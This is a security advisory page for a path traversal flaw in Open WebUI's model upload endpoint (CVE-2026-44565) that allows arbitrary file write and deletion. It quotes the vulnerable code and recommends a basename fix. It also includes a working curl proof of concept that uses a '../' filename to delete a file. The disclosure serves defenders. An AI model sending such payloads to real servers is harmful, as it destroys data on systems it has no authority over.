GHSA-J3FW-WC48-29G3

Vulnerability from github – Published: 2026-05-11 14:03 – Updated: 2026-05-11 14:03
VLAI?
Summary
Open WebUI Arbitrary File Write, Delete via Path Traversal
Details

** CONFIDENTIAL **

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

  1. Discoverer: Taylor Pennington of KoreLogic, Inc.
  2. Date Submitted: June 11, 2024
  3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
  4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted.
  5. Affected Vendor: Open WebUI
  6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)
  7. Affected Version(s): 0.1.105
  8. Platform/OS: Debian GNU/Linux 12 (bookworm)
  9. Vector: HTTP web interface
  10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  11. Technical Analysis:

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):

``` def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None): if url_idx == None: url_idx = 0 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]

file_path = f"{UPLOAD_DIR}/{file.filename}"

# Save file in chunks
with open(file_path, "wb+") as f:
    for chunk in file.file:
        f.write(chunk)

def file_process_stream():
    nonlocal ollama_url
    total_size = os.path.getsize(file_path)
    chunk_size = 1024 * 1024
    try:
        with open(file_path, "rb") as f:
            total = 0
            done = False

            while not done:
                chunk = f.read(chunk_size)
                if not chunk:
                    done = True
                    continue

                total += len(chunk)
                progress = round((total / total_size) * 100, 2)

                res = {
                    "progress": progress,
                    "total": total_size,
                    "completed": total,
                }
                yield f"data: {json.dumps(res)}\n\n"

            if done:
                f.seek(0)
                hashed = calculate_sha256(f)
                f.seek(0)

                url = f"{ollama_url}/api/blobs/sha256:{hashed}"
                response = requests.post(url, data=f)

                if response.ok:
                    res = {
                        "done": done,
                        "blob": f"sha256:{hashed}",
                        "name": file.filename,
                    }
                    os.remove(file_path)
                    yield f"data: {json.dumps(res)}\n\n"
                else:
                    raise Exception(
                        "Ollama: Could not create blob, Please try again."
                    )

    except Exception as e:
        res = {"error": str(e)}
        yield f"data: {json.dumps(res)}\n\n"

return StreamingResponse(file_process_stream(), media_type="text/event-stream")
```

The model is temporarily written to disk in chunks and then the data is sent to
another internal API. Once the file is successfully passed, the file is removed
from the disk. Note line 1116, `os.remove(file_path)`.

This has an affect of stomping on and ultimately deleting any file that the user
of the open-webui service has permissions over.

It may be possible to continue sending chunks to the file slowly and create
a race condition however, this was not validated.

  1. Proof-of-Concept:

    First, create a file under the /tmp directory named DELETE_ME while logged in as the user account of the web application or chown the file to be owned by the open-webui user.

    ```

    su ollama

    touch /tmp/DELETE_ME

    ```

Execute the following cURL command after replacing the exported JWT value for a valid user session:

```
export JWT="JWT_HERE"; curl -s -X $'POST' \
-H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
$'https://openwebui.example.com/ollama/models/upload'
```

Verify that `/tmp/DELETE_ME` has been deleted.
  1. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: 
filename = os.path.basename(file.filename)
file_path = f"{UPLOAD_DIR}/{filename}"
Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:03:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "** CONFIDENTIAL **\n\nVulnerability Disclosure Analysis Documentation\n-----------------------------------------------\n\nVulnerability Details\n---------------------\n1. Discoverer: Taylor Pennington of KoreLogic, Inc.\n2. Date Submitted: June 11, 2024\n3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal\n4. High-level Summary:\n     Attacker controlled files can be uploaded to arbitrary locations on the web\n     server\u0027s filesystem by abusing a path traversal vulnerability. After the\n     file is written, it is deleted.\n5. Affected Vendor: Open WebUI\n6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)\n7. Affected Version(s): 0.1.105\n8. Platform/OS: Debian GNU/Linux 12 (bookworm)\n9. Vector: HTTP web interface\n10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\n11. Technical Analysis:\n   \n   When attaching files to a prompt by clicking the plus sign (+) on the left of\n   the message input box when using the Open WebUI HTTP interface, the file is\n   uploaded to a static upload directory. If the file is an audio file\n   it will be sent to a second API that will attempt to transcribe it.\n\n   The name of the file is derived from the original HTTP upload request and is\n   not validated or sanitized. This allows for users to upload files with names\n   containing dot-segments in the file path and traverse out of the intended\n   uploads directory. Effectively, users can upload files anywhere on the\n   filesystem the user running the web server has permission.\n\n   This can be visualized by examining the python code for the\n   \"/ollama/models/upload\" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):\n\n   ```\n   def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):\n    if url_idx == None:\n        url_idx = 0\n    ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]\n\n    file_path = f\"{UPLOAD_DIR}/{file.filename}\"\n\n    # Save file in chunks\n    with open(file_path, \"wb+\") as f:\n        for chunk in file.file:\n            f.write(chunk)\n\n    def file_process_stream():\n        nonlocal ollama_url\n        total_size = os.path.getsize(file_path)\n        chunk_size = 1024 * 1024\n        try:\n            with open(file_path, \"rb\") as f:\n                total = 0\n                done = False\n\n                while not done:\n                    chunk = f.read(chunk_size)\n                    if not chunk:\n                        done = True\n                        continue\n\n                    total += len(chunk)\n                    progress = round((total / total_size) * 100, 2)\n\n                    res = {\n                        \"progress\": progress,\n                        \"total\": total_size,\n                        \"completed\": total,\n                    }\n                    yield f\"data: {json.dumps(res)}\\n\\n\"\n\n                if done:\n                    f.seek(0)\n                    hashed = calculate_sha256(f)\n                    f.seek(0)\n\n                    url = f\"{ollama_url}/api/blobs/sha256:{hashed}\"\n                    response = requests.post(url, data=f)\n\n                    if response.ok:\n                        res = {\n                            \"done\": done,\n                            \"blob\": f\"sha256:{hashed}\",\n                            \"name\": file.filename,\n                        }\n                        os.remove(file_path)\n                        yield f\"data: {json.dumps(res)}\\n\\n\"\n                    else:\n                        raise Exception(\n                            \"Ollama: Could not create blob, Please try again.\"\n                        )\n\n        except Exception as e:\n            res = {\"error\": str(e)}\n            yield f\"data: {json.dumps(res)}\\n\\n\"\n\n    return StreamingResponse(file_process_stream(), media_type=\"text/event-stream\")\n    ```\n\n    The model is temporarily written to disk in chunks and then the data is sent to\n    another internal API. Once the file is successfully passed, the file is removed\n    from the disk. Note line 1116, `os.remove(file_path)`.\n\n    This has an affect of stomping on and ultimately deleting any file that the user\n    of the open-webui service has permissions over.\n\n    It may be possible to continue sending chunks to the file slowly and create\n    a race condition however, this was not validated.\n\n12. Proof-of-Concept:\n\n    First, create a file under the `/tmp` directory named `DELETE_ME` while\n    logged in as the user account of the web application or chown the file to be\n    owned by the open-webui user.\n\n    ```\n    # su ollama\n    # touch /tmp/DELETE_ME\n    ```\n   \n   Execute the following cURL command after replacing the exported `JWT` value for a valid user session:\n\n    ```\n    export JWT=\"JWT_HERE\"; curl -s -X $\u0027POST\u0027 \\\n    -H $\u0027Host: openwebui.example.com\u0027 -H $\u0027Content-Length: 206\u0027 -H \"Authorization: Bearer ${JWT}\" -H $\u0027Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\u0027 \\\n    --data-binary $\u0027------WebKitFormBoundary7MA4YWxkTrZu0gW\\x0d\\x0aContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"../../../../../../../tmp/DELETE_ME\\\"\\x0d\\x0aContent-Type: image/png\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--\u0027 \\\n    $\u0027https://openwebui.example.com/ollama/models/upload\u0027\n    ```\n\n    Verify that `/tmp/DELETE_ME` has been deleted.\n\n13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: \n\n```\nfilename = os.path.basename(file.filename)\nfile_path = f\"{UPLOAD_DIR}/{filename}\"\n```",
  "id": "GHSA-j3fw-wc48-29g3",
  "modified": "2026-05-11T14:03:25Z",
  "published": "2026-05-11T14:03:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j3fw-wc48-29g3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI Arbitrary File Write, Delete via Path Traversal"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.